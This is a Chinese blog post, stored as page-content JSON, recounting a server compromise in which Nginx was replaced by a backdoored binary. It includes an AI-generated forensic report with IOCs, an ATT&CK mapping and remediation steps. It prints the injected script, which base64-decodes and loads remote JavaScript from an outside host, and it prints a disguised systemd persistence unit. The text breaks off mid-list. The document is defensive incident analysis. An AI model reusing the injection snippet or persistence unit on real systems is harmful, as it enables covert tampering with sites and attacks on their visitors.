[{"data":1,"prerenderedAt":3021},["ShallowReactive",2],{"$fPVXJzYbcx":3,"blog-search-sections":1719,"blog-search-navigation":2965},{"id":4,"title":5,"body":6,"create":1708,"description":16,"extension":1709,"lang":1710,"meta":1711,"navigation":820,"path":1712,"seo":1713,"stem":1714,"tags":1715,"update":1717,"__hash__":1718},"blog\u002Fblog\u002Flog-an-nginx-replacement-attack.md","记录一次 Nginx 替换攻击事件",{"type":7,"value":8,"toc":1684},"minimark",[9,13,17,24,28,38,213,216,223,228,231,234,241,244,247,250,277,280,283,286,289,305,308,314,318,348,351,360,370,373,376,433,436,439,447,453,465,468,480,487,494,508,512,518,550,553,610,613,634,637,651,658,669,686,689,693,699,713,722,733,737,744,751,757,768,771,778,783,791,794,880,883,904,911,914,921,924,932,935,942,945,957,960,987,990,998,1008,1019,1022,1025,1028,1065,1068,1071,1133,1136,1151,1155,1273,1277,1280,1313,1316,1333,1336,1378,1381,1391,1394,1397,1413,1416,1419,1422,1446,1449,1471,1474,1477,1480,1494,1497,1511,1514,1555,1558,1561,1602,1606,1680],[10,11,5],"h1",{"id":12},"记录一次-nginx-替换攻击事件",[14,15,16],"p",{},"昨天晚上在公司加班，给同事发了一个链接，发现解析到了一些奇怪的内容，由此才发现我的服务器早已被攻破。经过排查，最终确定是 Nginx 本身被做了手脚，在 GPT 的帮助下，分析了攻击者的攻击手段。",[14,18,19],{},[20,21],"img",{"alt":22,"src":23},"敏感词汇已打码","\u002Fimages\u002Fblogs\u002Flog-an-nginx-replacement-attack\u002F1.png",[25,26,27],"h2",{"id":27},"排查过程",[14,29,30,31,37],{},"看到这么奇怪的东西我的第一反应就是肯定是服务器出了什么问题，于是我立即使用 curl 去请求了一次 ",[32,33,34],"a",{"href":34,"rel":35},"http:\u002F\u002Fwww.f1nley.xyz",[36],"nofollow",", 结果是拿到了一段 html 文档：",[39,40,45],"pre",{"className":41,"code":42,"language":43,"meta":44,"style":44},"language-html shiki shiki-themes catppuccin-latte catppuccin-macchiato catppuccin-latte","\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Cscript>(function(){var s=document.createElement('script');s.src=atob('aHR0cHM6Ly9qai5zb2ZzeHouY29tL2p1bXAuanM=');document.head.appendChild(s);})();\u003C\u002Fscript>\n\u003Cbody>\u003C\u002Fbody>\n\u003C\u002Fhtml>\n","html","",[46,47,48,64,76,188,203],"code",{"__ignoreMap":44},[49,50,53,57,61],"span",{"class":51,"line":52},"line",1,[49,54,56],{"class":55},"sBAe2","\u003C!DOCTYPE",[49,58,60],{"class":59},"sPKdQ"," html",[49,62,63],{"class":55},">\n",[49,65,67,71,74],{"class":51,"line":66},2,[49,68,70],{"class":69},"sp4-F","\u003C",[49,72,43],{"class":73},"soSG-",[49,75,63],{"class":69},[49,77,79,81,84,87,90,93,97,100,104,107,110,113,116,119,123,125,129,132,135,138,140,143,145,148,150,153,155,157,159,161,163,165,168,171,174,177,179,181,184,186],{"class":51,"line":78},3,[49,80,70],{"class":69},[49,82,83],{"class":73},"head",[49,85,86],{"class":69},">\u003C",[49,88,89],{"class":73},"script",[49,91,92],{"class":69},">",[49,94,96],{"class":95},"sKbfg","(",[49,98,99],{"class":55},"function",[49,101,103],{"class":102},"sPaNA","(){",[49,105,106],{"class":55},"var",[49,108,109],{"class":95}," s",[49,111,112],{"class":69},"=",[49,114,115],{"class":95},"document",[49,117,118],{"class":69},".",[49,120,122],{"class":121},"sgCEr","createElement",[49,124,96],{"class":95},[49,126,128],{"class":127},"s6V-t","'script'",[49,130,131],{"class":95},")",[49,133,134],{"class":102},";",[49,136,137],{"class":95},"s",[49,139,118],{"class":69},[49,141,142],{"class":95},"src",[49,144,112],{"class":69},[49,146,147],{"class":121},"atob",[49,149,96],{"class":95},[49,151,152],{"class":127},"'aHR0cHM6Ly9qai5zb2ZzeHouY29tL2p1bXAuanM='",[49,154,131],{"class":95},[49,156,134],{"class":102},[49,158,115],{"class":95},[49,160,118],{"class":69},[49,162,83],{"class":95},[49,164,118],{"class":69},[49,166,167],{"class":121},"appendChild",[49,169,170],{"class":95},"(s)",[49,172,173],{"class":102},";}",[49,175,176],{"class":95},")()",[49,178,134],{"class":102},[49,180,70],{"class":95},[49,182,183],{"class":69},"\u002F",[49,185,89],{"class":73},[49,187,63],{"class":69},[49,189,191,193,196,199,201],{"class":51,"line":190},4,[49,192,70],{"class":69},[49,194,195],{"class":73},"body",[49,197,198],{"class":69},">\u003C\u002F",[49,200,195],{"class":73},[49,202,63],{"class":69},[49,204,206,209,211],{"class":51,"line":205},5,[49,207,208],{"class":69},"\u003C\u002F",[49,210,43],{"class":73},[49,212,63],{"class":69},[14,214,215],{},"这段 html 就是立即执行了一个 js 脚本，创建了一个新的 script 元素引入了 src 中指向的目标网址。目标网址是 base64 编码，大概是为了规避审查。",[14,217,218,219,222],{},"解码后得到的是一个 .js 文件的地址: ",[46,220,221],{},"https:\u002F\u002Fjj.sofsxz.com\u002Fjump.js","，直接访问得到的是一个空的页面。",[224,225,227],"h3",{"id":226},"排查是否是-docker-镜像和产物的问题","排查是否是 docker 镜像和产物的问题",[14,229,230],{},"在 docker 里面全局搜相关的代码发现搜不到，基本可以排除是 docker 镜像和产物的问题，那问题就只能出现在服务器上了。",[224,232,233],{"id":233},"定位是服务器的哪里出了问题",[14,235,236,237,240],{},"在宿主机上执行 ",[46,238,239],{},"curl -v http:\u002F\u002F127.0.0.1\u002F -H 'Host: www.f1nley.xyz'"," 后发现，拿到的也是如上所示的恶意代码。\n在 docker 容器内执行 curl 拿到的是正常内容。",[14,242,243],{},"因此可以判断就是 Proxy 这一层出了问题。",[14,245,246],{},"然而排查 nginx 的相关配置并没有发现有相关的代码的痕迹。",[14,248,249],{},"在 GPT 的提示和帮助下，开始排查是否这个请求真的命中了 nginx server block: 在 server block 上添加一个自定义的 header 检查是否能拿到 header",[39,251,255],{"className":252,"code":253,"language":254,"meta":44,"style":44},"language-nginx shiki shiki-themes catppuccin-latte catppuccin-macchiato catppuccin-latte","server {\n    # ...\n    add_header X-Probe 'probe';\n}\n","nginx",[46,256,257,262,267,272],{"__ignoreMap":44},[49,258,259],{"class":51,"line":52},[49,260,261],{},"server {\n",[49,263,264],{"class":51,"line":66},[49,265,266],{},"    # ...\n",[49,268,269],{"class":51,"line":78},[49,270,271],{},"    add_header X-Probe 'probe';\n",[49,273,274],{"class":51,"line":190},[49,275,276],{},"}\n",[14,278,279],{},"发现确实有这个 header, 说明确实命中了 nginx 的这个 server block，但是返回的并不是预期的处理，此时 GPT 怀疑 Nginx 本身已经被替换掉了。",[25,281,282],{"id":282},"取证",[14,284,285],{},"接下来的步骤基本上就是 GPT 让我干啥我干啥了，已经脱离了我的认知，大概是直接去找 nginx 的二进制，然后执行 dpkg 命令去检查 checksum，结果发现对不上，因此基本上可以判断是 nginx 本身被替换掉了。",[25,287,288],{"id":288},"处理",[290,291,292,296,299,302],"ol",{},[293,294,295],"li",{},"将证据材料下载后，丢给 AI 进行分析",[293,297,298],{},"立即重装此服务器",[293,300,301],{},"重装后立即关掉 root 账号的 ssh 密码登录",[293,303,304],{},"由于不知道泄露了多少密钥，立即轮换所有密钥",[25,306,307],{"id":307},"分析",[309,310,311],"blockquote",{},[14,312,313],{},"以下内容为 AI 生成",[25,315,317],{"id":316},"nginx-入侵事件总结报告","Nginx 入侵事件总结报告",[319,320,321,324,330,336,342],"ul",{},[293,322,323],{},"报告日期: 2026-05-09",[293,325,326,327],{},"分析对象: ",[46,328,329],{},"nginx-incident-2026-05-08-110637.tgz",[293,331,332,333],{},"证据包 SHA-256: ",[46,334,335],{},"97aa3c24f4aa21243d4b7d0809e5f9885b6aeb471aa938c2bc20edbc09a53677",[293,337,338,339],{},"结论级别: ",[46,340,341],{},"高置信度",[293,343,344,345],{},"事件等级: ",[46,346,347],{},"Critical",[224,349,350],{"id":350},"结论",[14,352,353,354,356,357,359],{},"本次事件不是单纯的 ",[46,355,254],{}," 配置异常，而是一次明确的二进制级后门化植入。攻击者已经获得目标运行环境的写权限，并将运行中的 ",[46,358,254],{}," 替换为带恶意依赖的 ELF 可执行文件，再通过恶意 HTTP 模块接管响应过滤链，实现基于规则的内容注入与本地控制。",[14,361,362,363,366,367,369],{},"现有证据同时显示宿主机侧存在伪装的 ",[46,364,365],{},"systemd"," 服务持久化痕迹，因此影响面很可能已经超过单个 ",[46,368,254],{}," 容器。当前更合理的定性是“宿主机与容器均应按已沦陷处理”。",[224,371,372],{"id":372},"证据范围",[14,374,375],{},"本报告基于离线取证包中的以下证据：",[319,377,378,383,388,393,398,403,408,413,418,423,428],{},[293,379,380],{},[46,381,382],{},"nginx-incident\u002Fhashes.txt",[293,384,385],{},[46,386,387],{},"nginx-incident\u002Fnginx.tampered",[293,389,390],{},[46,391,392],{},"nginx-incident\u002Fsysutil_http.so",[293,394,395],{},[46,396,397],{},"nginx-incident\u002Fprocesses.txt",[293,399,400],{},[46,401,402],{},"nginx-incident\u002Ffds.txt",[293,404,405],{},[46,406,407],{},"nginx-incident\u002F1114748.environ.txt",[293,409,410],{},[46,411,412],{},"nginx-incident\u002F1114801.environ.txt",[293,414,415],{},[46,416,417],{},"nginx-incident\u002Fetc-nginx-copy\u002F",[293,419,420],{},[46,421,422],{},"nginx-incident\u002Fnginx-logs\u002F",[293,424,425],{},[46,426,427],{},"etc\u002Fsystemd\u002Fsystem\u002F",[293,429,430],{},[46,431,432],{},"root\u002F.ssh\u002Fauthorized_keys",[14,434,435],{},"本次分析全程为只读静态检查，未执行取证包内任何二进制或脚本。",[224,437,438],{"id":438},"关键发现",[440,441,443,444,446],"h4",{"id":442},"_1-nginx-已被二进制级篡改","1. ",[46,445,254],{}," 已被二进制级篡改",[14,448,449,450,452],{},"证据文件 ",[46,451,382],{}," 记录了现场运行文件：",[319,454,455,460],{},[293,456,457],{},[46,458,459],{},"\u002Fusr\u002Fsbin\u002Fnginx",[293,461,462],{},[46,463,464],{},"\u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so",[14,466,467],{},"对应哈希如下：",[319,469,470,475],{},[293,471,472],{},[46,473,474],{},"1daf07db2f05f759acd4052ec2bbd2b6dbf70d3a1d4d8f7d33fce4ef4dc01090  \u002Fusr\u002Fsbin\u002Fnginx",[293,476,477],{},[46,478,479],{},"10a510bf98eea8e597edee84016b1a375c4c2bc08428fa9e8202cecaca3be02a  \u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so",[14,481,482,483,486],{},"对 ",[46,484,485],{},"nginx.tampered"," 的 ELF 动态依赖检查显示，它除了正常依赖外，还额外声明了异常库：",[319,488,489],{},[293,490,491],{},[46,492,493],{},"libnss_cache.so.2",[14,495,496,497,500,501,504,505,507],{},"这不是正常 Debian ",[46,498,499],{},"nginx 1.22.1"," 的依赖形态，说明攻击者很可能通过修改 ELF ",[46,502,503],{},"DT_NEEDED"," 项，把恶意逻辑挂入 ",[46,506,254],{}," 启动流程。",[440,509,511],{"id":510},"_2-恶意模块具备-http-流量劫持与注入能力","2. 恶意模块具备 HTTP 流量劫持与注入能力",[14,513,514,517],{},[46,515,516],{},"sysutil_http.so"," 是未 strip 的 Linux shared object，导出符号与可读字符串直接暴露了模块能力。关键符号包括：",[319,519,520,525,530,535,540,545],{},[293,521,522],{},[46,523,524],{},"ngx_http_oam_module",[293,526,527],{},[46,528,529],{},"ngx_http_oam_header_filter",[293,531,532],{},[46,533,534],{},"ngx_http_oam_body_filter",[293,536,537],{},[46,538,539],{},"socket_server_thread",[293,541,542],{},[46,543,544],{},"handle_socket_command",[293,546,547],{},[46,548,549],{},"oam_register_filters",[14,551,552],{},"关键字符串包括：",[319,554,555,560,565,570,575,580,585,590,595,600,605],{},[293,556,557],{},[46,558,559],{},"STATUS",[293,561,562],{},[46,563,564],{},"ADD:",[293,566,567],{},[46,568,569],{},"DEL:",[293,571,572],{},[46,573,574],{},"LIST",[293,576,577],{},[46,578,579],{},"CLEAR",[293,581,582],{},[46,583,584],{},"\u002Fvar\u002Frun\u002Fsysutil\u002Fsysproc.sock",[293,586,587],{},[46,588,589],{},"\u002Fvar\u002Frun\u002Fsysutil\u002Fsocket.lock",[293,591,592],{},[46,593,594],{},"text\u002Fhtml; charset=utf-8",[293,596,597],{},[46,598,599],{},"\u003Chead>",[293,601,602],{},[46,603,604],{},"\u003Cbody>\u003C\u002Fbody>",[293,606,607],{},[46,608,609],{},"atob('",[14,611,612],{},"这说明该模块会：",[290,614,615,621,624,631],{},[293,616,617,618,620],{},"接管 ",[46,619,254],{}," 的 header\u002Fbody filter 链",[293,622,623],{},"在本地创建控制 socket",[293,625,626,627,630],{},"接收 ",[46,628,629],{},"STATUS\u002FADD\u002FDEL\u002FLIST\u002FCLEAR"," 命令动态管理规则",[293,632,633],{},"针对 HTML 响应执行内容注入",[14,635,636],{},"从能力模型看，这更接近“可热更新规则的恶意 server-side 注入组件”，典型用途包括：",[319,638,639,642,645,648],{},[293,640,641],{},"注入恶意 JavaScript",[293,643,644],{},"注入钓鱼页面片段",[293,646,647],{},"劫持会话或窃取 token\u002Fcookie",[293,649,650],{},"按请求特征定向投放恶意内容",[440,652,654,655,657],{"id":653},"_3-正常-nginx-配置基本未改恶意逻辑不在配置层","3. 正常 ",[46,656,254],{}," 配置基本未改，恶意逻辑不在配置层",[14,659,660,661,664,665,668],{},"取证包中的 ",[46,662,663],{},"etc-nginx-copy\u002Fnginx.conf"," 未见显式恶意 ",[46,666,667],{},"load_module"," 指令，核心结构仍是正常站点配置：",[319,670,671,676,681],{},[293,672,673],{},[46,674,675],{},"include \u002Fetc\u002Fnginx\u002Fmodules-enabled\u002F*.conf;",[293,677,678],{},[46,679,680],{},"include \u002Fetc\u002Fnginx\u002Fconf.d\u002F*.conf;",[293,682,683],{},[46,684,685],{},"include \u002Fetc\u002Fnginx\u002Fsites-enabled\u002F*;",[14,687,688],{},"这说明攻击者没有依赖传统的配置注入方式加载模块，恶意代码更可能通过二进制依赖劫持自动装载。",[440,690,692],{"id":691},"_4-当前运行实例位于容器内","4. 当前运行实例位于容器内",[14,694,695,698],{},[46,696,697],{},"processes.txt"," 显示：",[319,700,701,707],{},[293,702,703,706],{},[46,704,705],{},"containerd-shim-runc-v2"," 为父进程",[293,708,709,712],{},[46,710,711],{},"nginx: master process nginx -g daemon off;"," 为子进程",[14,714,715,716,718,719,721],{},"这说明当前被植入的 ",[46,717,254],{}," 运行在容器环境中，而不是直接由宿主机 ",[46,720,365],{}," 启动。容器内被替换的可能位置包括：",[319,723,724,727,730],{},[293,725,726],{},"容器可写层",[293,728,729],{},"被污染的镜像层",[293,731,732],{},"启动后被远程写入的运行时文件系统",[440,734,736],{"id":735},"_5-运行身份出现异常","5. 运行身份出现异常",[14,738,739,740,743],{},"配置文件中声明 ",[46,741,742],{},"user www-data;","，但现场 worker 进程显示为：",[319,745,746],{},[293,747,748],{},[46,749,750],{},"sshd     1114801 ... nginx: worker process",[14,752,753,754,756],{},"这个现象不符合正常 ",[46,755,254],{}," worker 用户模型，说明运行时环境已经发生异常偏移，可能涉及：",[319,758,759,762,765],{},[293,760,761],{},"容器 namespace \u002F UID 映射异常",[293,763,764],{},"运行进程上下文被篡改",[293,766,767],{},"取证时刻的宿主映射状态异常",[14,769,770],{},"这进一步支持“当前环境已被深入操控”的判断。",[440,772,774,775,777],{"id":773},"_6-宿主机侧存在可疑-systemd-持久化","6. 宿主机侧存在可疑 ",[46,776,365],{}," 持久化",[14,779,780,782],{},[46,781,427],{}," 中出现两个高风险对象：",[784,785,787,788],"h5",{"id":786},"可疑服务-1-qemu-fpmservice","可疑服务 1: ",[46,789,790],{},"qemu-fpm.service",[14,792,793],{},"服务内容：",[39,795,799],{"className":796,"code":797,"language":798,"meta":44,"style":44},"language-ini shiki shiki-themes catppuccin-latte catppuccin-macchiato catppuccin-latte","[Unit]\nDescription=QEMU FPM Service\nAfter=network.target\n\n[Service]\nType=forking\nExecStart=\u002Fusr\u002Fbin\u002Fqemu-system-fpm\nRestart=always\nRestartSec=5\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=multi-user.target\n","ini",[46,800,801,806,811,816,822,827,833,839,845,851,857,863,868,874],{"__ignoreMap":44},[49,802,803],{"class":51,"line":52},[49,804,805],{},"[Unit]\n",[49,807,808],{"class":51,"line":66},[49,809,810],{},"Description=QEMU FPM Service\n",[49,812,813],{"class":51,"line":78},[49,814,815],{},"After=network.target\n",[49,817,818],{"class":51,"line":190},[49,819,821],{"emptyLinePlaceholder":820},true,"\n",[49,823,824],{"class":51,"line":205},[49,825,826],{},"[Service]\n",[49,828,830],{"class":51,"line":829},6,[49,831,832],{},"Type=forking\n",[49,834,836],{"class":51,"line":835},7,[49,837,838],{},"ExecStart=\u002Fusr\u002Fbin\u002Fqemu-system-fpm\n",[49,840,842],{"class":51,"line":841},8,[49,843,844],{},"Restart=always\n",[49,846,848],{"class":51,"line":847},9,[49,849,850],{},"RestartSec=5\n",[49,852,854],{"class":51,"line":853},10,[49,855,856],{},"StandardOutput=null\n",[49,858,860],{"class":51,"line":859},11,[49,861,862],{},"StandardError=null\n",[49,864,866],{"class":51,"line":865},12,[49,867,821],{"emptyLinePlaceholder":820},[49,869,871],{"class":51,"line":870},13,[49,872,873],{},"[Install]\n",[49,875,877],{"class":51,"line":876},14,[49,878,879],{},"WantedBy=multi-user.target\n",[14,881,882],{},"风险点：",[319,884,885,888,895,898,901],{},[293,886,887],{},"名称伪装成正常系统组件",[293,889,890,891,894],{},"二进制名 ",[46,892,893],{},"qemu-system-fpm"," 极不自然",[293,896,897],{},"自启动",[293,899,900],{},"常驻重启",[293,902,903],{},"输出静默",[784,905,907,908],{"id":906},"可疑服务-2-610-28-cloud-amd64-loadservice","可疑服务 2: ",[46,909,910],{},"6.1.0-28-cloud-amd64-load.service",[14,912,913],{},"该对象以启用链接形式存在于：",[319,915,916],{},[293,917,918],{},[46,919,920],{},"etc\u002Fsystemd\u002Fsystem\u002Fmulti-user.target.wants\u002F6.1.0-28-cloud-amd64-load.service",[14,922,923],{},"它的命名方式伪装成内核版本\u002F驱动加载组件，具有明显隐蔽性。取证包中未包含其最终目标文件内容，因此当前只能确认“已启用链接存在”，仍需在原宿主机磁盘镜像中继续追踪其真实服务文件。",[440,925,927,928,931],{"id":926},"_7-初始入口尚未被精确锁定但-ai-上游与开放同步服务是重点排查面","7. 初始入口尚未被精确锁定，但 ",[46,929,930],{},"ai"," 上游与开放同步服务是重点排查面",[14,933,934],{},"取证包中的访问日志和错误日志显示了大量互联网扫描、随机子域名探测与应用层枚举。最值得优先排查的两个暴露面是：",[784,936,938,939],{"id":937},"暴露面-1-aif1nleyxyz-1270018000","暴露面 1: ",[46,940,941],{},"ai.f1nley.xyz -> 127.0.0.1:8000",[14,943,944],{},"配置显示：",[319,946,947,952],{},[293,948,949],{},[46,950,951],{},"server_name ai.f1nley.xyz;",[293,953,954],{},[46,955,956],{},"proxy_pass http:\u002F\u002F127.0.0.1:8000;",[14,958,959],{},"错误日志中大量请求通过随机子域名命中该 upstream，路径形态明显偏攻击探测，例如：",[319,961,962,967,972,977,982],{},[293,963,964],{},[46,965,966],{},"\u002FPublic\u002F...",[293,968,969],{},[46,970,971],{},"\u002Fapi\u002F...",[293,973,974],{},[46,975,976],{},"\u002FTemplate\u002F...",[293,978,979],{},[46,980,981],{},"\u002Fmms-api\u002F...",[293,983,984],{},[46,985,986],{},"\u002Fprod-api\u002F...",[14,988,989],{},"这类流量更像针对某类现成应用框架或后台系统的自动化探测。",[784,991,993,994,997],{"id":992},"暴露面-2-syncnotes-webdav同步服务","暴露面 2: ",[46,995,996],{},"\u002Fsync\u002Fnotes\u002F"," WebDAV\u002F同步服务",[14,999,1000,1001,1003,1004,1007],{},"访问日志显示 ",[46,1002,996],{}," 长期暴露，并且有稳定认证主体 ",[46,1005,1006],{},"root"," 出现在日志中。虽然这些流量很像合法同步客户端，但这说明：",[319,1009,1010,1013,1016],{},[293,1011,1012],{},"该服务长期对外可达",[293,1014,1015],{},"使用高权限身份进行同步",[293,1017,1018],{},"一旦认证泄露或上游实现存在漏洞，风险会显著放大",[14,1020,1021],{},"现有证据不足以将其直接定为入口，但必须纳入复盘范围。",[224,1023,1024],{"id":1024},"攻击链重建",[14,1026,1027],{},"基于当前证据，可重建出如下高概率攻击路径：",[290,1029,1030,1033,1038,1044,1050,1056,1059],{},[293,1031,1032],{},"攻击者首先获得容器或宿主机的文件写权限",[293,1034,1035,1036],{},"攻击者将恶意模块投放到 ",[46,1037,464],{},[293,1039,1040,1041,1043],{},"攻击者修改 ",[46,1042,254],{}," ELF 依赖，使其在启动时自动装载异常库",[293,1045,1046,1047,1049],{},"恶意模块在 ",[46,1048,254],{}," 初始化过程中接管 HTTP filter",[293,1051,1052,1053,1055],{},"模块在本地创建 ",[46,1054,584],{},"，作为控制面",[293,1057,1058],{},"攻击者可通过本地 socket 动态下发匹配规则和注入内容",[293,1060,1061,1062,1064],{},"宿主机侧通过伪装 ",[46,1063,365],{}," 服务维持持久化，确保重启后仍可恢复控制",[224,1066,1067],{"id":1067},"时间线",[14,1069,1070],{},"以下时间基于取证包内文件时间和日志时间，属于“当前证据可见时间线”：",[319,1072,1073,1086,1098,1110,1123],{},[293,1074,1075,1078],{},[46,1076,1077],{},"2025-10-16 07:10:02 +0800",[319,1079,1080],{},[293,1081,1082,1085],{},[46,1083,1084],{},"etc\u002Fsystemd\u002Fsystem\u002Fqemu-fpm.service"," 出现",[293,1087,1088,1091],{},[46,1089,1090],{},"2026-01-04 01:25:44 +0800",[319,1092,1093],{},[293,1094,1095,1097],{},[46,1096,910],{}," 启用链接存在",[293,1099,1100,1103],{},[46,1101,1102],{},"2026-01-04 04:49:15 +0800",[319,1104,1105],{},[293,1106,1107,1109],{},[46,1108,516],{}," 文件时间",[293,1111,1112,1115],{},[46,1113,1114],{},"2026-05-05",[319,1116,1117],{},[293,1118,1119,1120,1122],{},"被篡改的 ",[46,1121,254],{}," 进程已经在容器中运行",[293,1124,1125,1128],{},[46,1126,1127],{},"2026-05-08 23:07:24 +0800",[319,1129,1130],{},[293,1131,1132],{},"取证包生成",[14,1134,1135],{},"说明：",[319,1137,1138,1143],{},[293,1139,1140,1142],{},[46,1141,485],{}," 自身时间较老，更像被故意伪造或保留原始包时间，不能单独作为植入时间依据",[293,1144,1145,1147,1148,1150],{},[46,1146,516],{}," 与可疑 ",[46,1149,365],{}," 启用时间更值得参考",[25,1152,1154],{"id":1153},"attck-技术映射","ATT&CK 技术映射",[1156,1157,1158,1174],"table",{},[1159,1160,1161],"thead",{},[1162,1163,1164,1168,1171],"tr",{},[1165,1166,1167],"th",{},"战术",[1165,1169,1170],{},"技术",[1165,1172,1173],{},"说明",[1175,1176,1177,1195,1212,1229,1248,1262],"tbody",{},[1162,1178,1179,1183,1189],{},[1180,1181,1182],"td",{},"Persistence",[1180,1184,1185,1188],{},[46,1186,1187],{},"T1543.002"," Create or Modify System Process: Systemd Service",[1180,1190,1191,1192,1194],{},"伪装 ",[46,1193,365],{}," 服务维持启动",[1162,1196,1197,1200,1206],{},[1180,1198,1199],{},"Persistence \u002F Privilege Escalation",[1180,1201,1202,1205],{},[46,1203,1204],{},"T1574.006"," Hijack Execution Flow: Dynamic Linker Hijacking",[1180,1207,1208,1209,1211],{},"篡改 ",[46,1210,254],{}," 依赖链",[1162,1213,1214,1217,1223],{},[1180,1215,1216],{},"Persistence \u002F Execution",[1180,1218,1219,1222],{},[46,1220,1221],{},"T1505"," Server Software Component",[1180,1224,1225,1226,1228],{},"恶意 ",[46,1227,254],{}," HTTP 模块",[1162,1230,1231,1234,1240],{},[1180,1232,1233],{},"Defense Evasion",[1180,1235,1236,1239],{},[46,1237,1238],{},"T1036"," Masquerading",[1180,1241,1242,1244,1245,1247],{},[46,1243,790],{},"、",[46,1246,910],{}," 伪装命名",[1162,1249,1250,1253,1259],{},[1180,1251,1252],{},"Command and Control",[1180,1254,1255,1258],{},[46,1256,1257],{},"T1095"," Non-Application Layer Protocol \u002F Local IPC 近似",[1180,1260,1261],{},"本地 Unix socket 控制面",[1162,1263,1264,1267,1270],{},[1180,1265,1266],{},"Impact \u002F Collection",[1180,1268,1269],{},"自定义 Web 注入能力",[1180,1271,1272],{},"基于规则修改响应内容",[224,1274,1276],{"id":1275},"ioc-清单","IOC 清单",[440,1278,1279],{"id":1279},"文件与路径",[319,1281,1282,1286,1290,1295,1299,1303,1308],{},[293,1283,1284],{},[46,1285,459],{},[293,1287,1288],{},[46,1289,464],{},[293,1291,1292],{},[46,1293,1294],{},"\u002Fvar\u002Frun\u002Fsysutil\u002F",[293,1296,1297],{},[46,1298,589],{},[293,1300,1301],{},[46,1302,584],{},[293,1304,1305],{},[46,1306,1307],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002Fqemu-fpm.service",[293,1309,1310],{},[46,1311,1312],{},"\u002Fetc\u002Fsystemd\u002Fsystem\u002Fmulti-user.target.wants\u002F6.1.0-28-cloud-amd64-load.service",[440,1314,1315],{"id":1315},"哈希",[319,1317,1318,1326],{},[293,1319,1320,1323,1324,131],{},[46,1321,1322],{},"1daf07db2f05f759acd4052ec2bbd2b6dbf70d3a1d4d8f7d33fce4ef4dc01090"," (",[46,1325,459],{},[293,1327,1328,1323,1331,131],{},[46,1329,1330],{},"10a510bf98eea8e597edee84016b1a375c4c2bc08428fa9e8202cecaca3be02a",[46,1332,464],{},[440,1334,1335],{"id":1335},"符号与字符串",[319,1337,1338,1342,1346,1350,1354,1358,1362,1366,1370,1374],{},[293,1339,1340],{},[46,1341,524],{},[293,1343,1344],{},[46,1345,529],{},[293,1347,1348],{},[46,1349,534],{},[293,1351,1352],{},[46,1353,549],{},[293,1355,1356],{},[46,1357,559],{},[293,1359,1360],{},[46,1361,564],{},[293,1363,1364],{},[46,1365,569],{},[293,1367,1368],{},[46,1369,574],{},[293,1371,1372],{},[46,1373,579],{},[293,1375,1376],{},[46,1377,493],{},[440,1379,1380],{"id":1380},"可疑服务名",[319,1382,1383,1387],{},[293,1384,1385],{},[46,1386,790],{},[293,1388,1389],{},[46,1390,910],{},[224,1392,1393],{"id":1393},"影响评估",[14,1395,1396],{},"当前证据支持以下影响判断：",[319,1398,1399,1404,1407,1410],{},[293,1400,1401,1403],{},[46,1402,254],{}," 已失去可信性，不能再作为可信边界组件使用",[293,1405,1406],{},"任意经过该实例的 HTML 响应都可能被动态注入",[293,1408,1409],{},"受影响业务可能包括主站流量、反代业务和下游应用会话",[293,1411,1412],{},"宿主机存在额外持久化，说明单纯替换容器并不能保证清除风险",[14,1414,1415],{},"因此本事件应按“主机级 compromise”响应，而不是“单容器异常”响应。",[224,1417,1418],{"id":1418},"当前不确定项",[14,1420,1421],{},"以下问题在本取证包内无法完全回答：",[319,1423,1424,1427,1432,1437,1440,1443],{},[293,1425,1426],{},"初始入口是宿主机、容器镜像、上游应用还是外部管理面",[293,1428,1429,1431],{},[46,1430,910],{}," 的真实内容",[293,1433,1434,1436],{},[46,1435,493],{}," 在现场的实际落点",[293,1438,1439],{},"恶意模块已下发过哪些规则",[293,1441,1442],{},"是否已经对外注入过恶意脚本或跳转内容",[293,1444,1445],{},"是否存在额外未被打包进证据包的反连、下载器或横向移动痕迹",[14,1447,1448],{},"原因是取证包中的以下系统级日志为空：",[319,1450,1451,1456,1461,1466],{},[293,1452,1453],{},[46,1454,1455],{},"var\u002Flog\u002Fauth.log",[293,1457,1458],{},[46,1459,1460],{},"var\u002Flog\u002Fsyslog",[293,1462,1463],{},[46,1464,1465],{},"var\u002Flog\u002Fdpkg.log",[293,1467,1468],{},[46,1469,1470],{},"var\u002Flog\u002Fapt\u002Fhistory.log",[14,1472,1473],{},"这会阻断对初始入侵、提权、持久化创建命令和包管理伪装的还原。",[224,1475,1476],{"id":1476},"处置建议",[440,1478,1479],{"id":1479},"立即动作",[290,1481,1482,1485,1488,1491],{},[293,1483,1484],{},"将宿主机与相关容器全部从网络隔离",[293,1486,1487],{},"保留当前宿主机磁盘快照、容器镜像、可写层和内存证据",[293,1489,1490],{},"停止把该实例继续作为生产入口使用",[293,1492,1493],{},"轮换所有经过该主机的凭据与密钥",[440,1495,1496],{"id":1496},"重建原则",[290,1498,1499,1502,1505,1508],{},[293,1500,1501],{},"从可信源重建宿主机，不做就地“清理后继续用”",[293,1503,1504],{},"从可信 Dockerfile \u002F 镜像仓库重新构建容器镜像",[293,1506,1507],{},"对镜像仓库、CI\u002FCD、部署机一并做 IOC 搜索",[293,1509,1510],{},"对下游上游应用逐一排查是否存在同类植入",[440,1512,1513],{"id":1513},"重点排查对象",[290,1515,1516,1522,1525,1531,1536,1542],{},[293,1517,1518,1521],{},[46,1519,1520],{},"127.0.0.1:8000"," 对应应用及其代码仓库",[293,1523,1524],{},"容器镜像构建链、发布机和 registry",[293,1526,1527,1528],{},"宿主机 ",[46,1529,1530],{},"\u002Flib\u002Fsystemd\u002Fsystem\u002F6.1.0-28-cloud-amd64-load.service",[293,1532,1527,1533],{},[46,1534,1535],{},"\u002Fusr\u002Fbin\u002Fqemu-system-fpm",[293,1537,1538,1539,1541],{},"任何名为 ",[46,1540,493],{}," 的文件实际落点",[293,1543,1544,1545,1244,1548,1244,1551,1554],{},"所有以 ",[46,1546,1547],{},"sysutil",[46,1549,1550],{},"oam",[46,1552,1553],{},"qemu-fpm"," 命名的文件与进程",[224,1556,1557],{"id":1557},"建议的后续取证补充",[14,1559,1560],{},"为了把入口和影响面完全钉实，建议补采以下证据：",[319,1562,1563,1573,1577,1582,1588,1591,1594,1599],{},[293,1564,1565,1566,1569,1570],{},"宿主机完整 ",[46,1567,1568],{},"\u002Flib\u002Fsystemd\u002Fsystem\u002F"," 与 